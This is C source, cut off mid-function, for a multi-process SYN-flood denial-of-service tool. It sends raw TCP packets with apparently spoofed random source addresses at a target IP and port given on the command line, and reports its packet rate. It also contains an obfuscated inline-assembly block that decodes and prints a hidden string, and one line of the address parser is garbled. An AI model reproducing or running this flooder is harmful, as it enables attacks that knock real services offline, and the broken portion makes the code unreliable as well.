static int ultodec(const unsigned long n,char *buf) { unsigned long d=1000000000,v=n; int r; char *p=buf; do { if (v/d) break; } while (d/=10); if (!d) *p++=''0''; else do { r=v/d; *p++=''0''+r; v-=(r*d); } while(d/=10); *p=0; return((int)p-(int)buf); }
static int ulltodec(const unsigned long long n,char *buf) { unsigned long long d=1000000000L,v=n; int r; char *p=buf; d*=10000000000L; do { if (v/d) break; } while (d/=10); if (!d) *p++=''0''; else do { r=v/d; *p++=''0''+r; v-=(r*d); } while(d/=10); *p=0; return((int)p-(int)buf); }
static int inttodec(const unsigned long n,char *buf) { unsigned long d=1000000000,v=n; int r; char *p=buf; if (v&0x80000000) { *p++=''-''; v=((v&0x7fffffff)^0x7fffffff)+1; } do { if (v/d) break; } while (d/=10); if (!d) *p++=''0''; else do { r=v/d; *p++=''0''+r; v-=(r*d); } while(d/=10); *p=0; return((int)p-(int)buf); }
static unsigned long dectoul(const char *buf) { int p=0; unsigned long v=0; char nc; while ((nc=buf[p++])) { if ((nc<''0'') || (nc>''9'')) return(-1); v=(v*10)+(nc-''0''); } if (p==1) return(-1); return(v); }
static unsigned long long dectoull(const char *buf) { int p=0; unsigned long long v=0; char nc; while ((nc=buf[p++])) { if ((nc<''0'') || (nc>''9'')) return(-1); v=(v*10)+(nc-''0''); } if (p==1) return(-1); return(v); }
static int pf(int fd,const char *fmt,...) { int pos=0,sc=0,cl,cv; char nc; int *param,*param_inval; char buf[1024],*bufp=buf; asm volatile("movl %%ebp,%%eax;addl $16,%%eax":"=eax"(param)); asm volatile("movl (%%ebp),%%eax;decl %%eax;":"=eax"(param_inval)); if ((int)param>(int)param_inval) return(-1); while ((nc=fmt[pos++])) { if (sc==1) { sc=0; if (nc==''U'') { if (param==param_inval) return(-1); bufp+=ulltodec(*((unsigned long long *)param++),bufp); continue; } if (nc==''d'') { if (param==param_inval) return(-1); bufp+=inttodec(*param++,bufp); continue; } if (nc==''s'') { if (param==param_inval) return(-1); bufp+=strcpy(bufp,(void *)*param++); continue; } } if (nc==''%'') { sc=1; continue; } *bufp++=nc; } *bufp++=0; write(fd,buf,(int)bufp-(int)buf); }
struct sockaddr_in { unsigned short family; unsigned short port; unsigned long addr; unsigned char filler[8]; };
#define INADDR_NONE -1
static unsigned long inet_addr(const char *ipstr) { int p=0,cc=0; char nc; unsigned long ip,s=0; unsigned short v=0; if ((ip=dectoul(ipstr))==-1) { ip=0; while ((nc=ipstr[p++])) { if (nc==''.'') { if (!cc) return(INADDR_NONE); if (s==24) return(INADDR_NONE); ip|=(v<s+=8; cc=0; v=0; continue; } if (cc==3) return(INADDR_NONE); if (cc==2) if (!v) return(INADDR_NONE); cc++; if ((nc<''0'') || (nc>''9'')) return(INADDR_NONE); if ((v=(v*10)+(nc-''0''))>255) return(INADDR_NONE); } if (!cc) return(INADDR_NONE); if (s!=24) return(INADDR_NONE); ip|=(v<<24); } return(ip); }
struct iphdr { unsigned char verihl; unsigned char tos; unsigned short len; unsigned short id; unsigned short flg_ofs; unsigned char ttl; unsigned char proto; unsigned short sum; unsigned long src; unsigned long dst; };
struct tcphdr { unsigned short sport; unsigned short dport; unsigned long seq; unsigned long ackseq; unsigned char thl; unsigned char flags; unsigned short win; unsigned short sum; unsigned short urgptr; };
void handle_signal(int signum) { if (killed) return; killed=1; if (starttime) { long long elapsed=utime()-starttime; if (!elapsed) elapsed=1; pf(2,"pid %d: ",getpid()); pf(2,"ran for %Us, ",elapsed/1000000); pf(2,"%U packets out, ",sendcount); pf(2,"%U bytes/s\n",(sendcount*48000000)/elapsed); } if (mainthread) { cleanup_children(); nsleep(2000000000L); pf(2,"aborting due to signal %d\n",signum); } exit(32+signum); }
#define rmvc(ip) { unsigned char c=ip&0xff;int n; for (n=0;n<16;n++) if (vc[n]==c) {vc[n]=202;break;} } #define rndip() ({ int r; unsigned char c; r=rndint(); if ((c=(r>>24))&0xfe) c-=2; ((c+1)<<24)|(r&0x00ffff00)|(vc[r&0xf]); })
int main(int argc,char **argv) { int fd,presum,portmask,dport; struct sockaddr_in dst; long long delay=10000000; {int n;for (n=1;n<32;n++) signal(n,handle_signal);} if (!argc) return(1); if ((fd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0) { pf(2,"error %d while creating socket\n",fd); return(2); } { int one=1;
if ((one=setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&one,sizeof(one)))) { pf(2,"error %d while enabling IP_HDRINCL\n",one); return(3); } } if (argc<3) { pf(2,"%s [ns (1s/10^9) delay] [threads (dfl:1)]\n",argv[0]); return(4); } if ((syn.ip.dst=dst.addr=inet_addr(argv[1]))==INADDR_NONE) { pf(2,"invalid ip: %s\n",argv[1]); return(5); } rmvc(dst.addr); { int dstport;
do { if ((dstport=dectoul(argv[2]))!=-1) if (!(dstport&0xffff0000)) break; pf(2,"invalid port: %s\n",argv[2]); return(6); } while(0);
if ((dst.port=htons(dstport))) { dport=dst.port; portmask=0xffffff; } else { dport=htons(1024); portmask=0xffffffff; } } dst.family=AF_INET; if (argc>3) { if ((delay=dectoull(argv[3]))==-1) { pf(2,"invalid delay: %s\n",argv[3]); return(7); } } presum=(dst.addr&0xffff)+(dst.addr>>16)+29310; presum=((presum>>16)+(presum&0xffff)); presum=((presum>>16)+presum); asm volatile("jmp 0f;2:;call 3f;0:;pushl %%edi;pushl %%esi;pushl %%edx;pushl %%ecx;pushl %%ebx;clc;1:;lodsw;adcw %%ax,%%dx;loop 1b;nop;nop;nop;nop;adcw $0,%%dx;pushl %%edx;movl $1044128573,%%edx;jmp 2b;3:;popl %%esi;movl %%esp,%%edi;subl $21,%%edi;movl %%edi,%%ecx;lodsl;xorl %%edx,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-834108802,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-1027902650,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-203227222,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-1595534091,%%eax;xorl %%eax,%%edx;stosl;movb $10,%%al;movl %%edx,%%esi;stosb;movl $4,%%eax;movl $2,%%ebx;movl $21,%%edx;int $128;movl %%esi,%%eax;movl %%eax,%%edx;shrl $16,%%eax;xorw %%ax,%%dx;popl %%eax;subw %%dx,%%ax;sbbw $0,%%ax;popl %%ebx;popl %%ecx;popl %%edx;popl %%esi;popl %%edi;":"=eax"(presum):"c"(14),"d"(presum),"S"(&syn.tcp)); syn.tcp.sport=htons(1024); syn.tcp.dport=dport; pf(1,"target=%s:%d delay=%U\n",inet_ntoa(dst.addr),ntohs(dst.port),delay); if (argc>4) { int children,idx=0; if ((children=dectoul(argv[4]))==-1) { pf(2,"invalid thread count: %d, invalid numeric format\n",argv[4]); return(8); } if (children) childcount=(children-=1); if (children&0xfffffff0) { pf(2,"invalid thread count: %d, max is 16\n",argv[4]); return(8); } while (children--) { int cpid=fork();
if (cpid<0) { if (idx--) do { kill(childpid[idx],9); if (idx) idx--; } while (idx); pf(2,"forking error\n"); return(8); } if (!cpid) { mainthread=0; childcount=0; break; } childpid[idx++]=cpid; } if (childcount) { pf(1,"using %d threads, pids: %d(main)",childcount+1,getpid()); { int n=childcount;
while (n--) pf(1," %d",childpid[n]); } pf(1,"\n"); } } { int a[6],fails=0;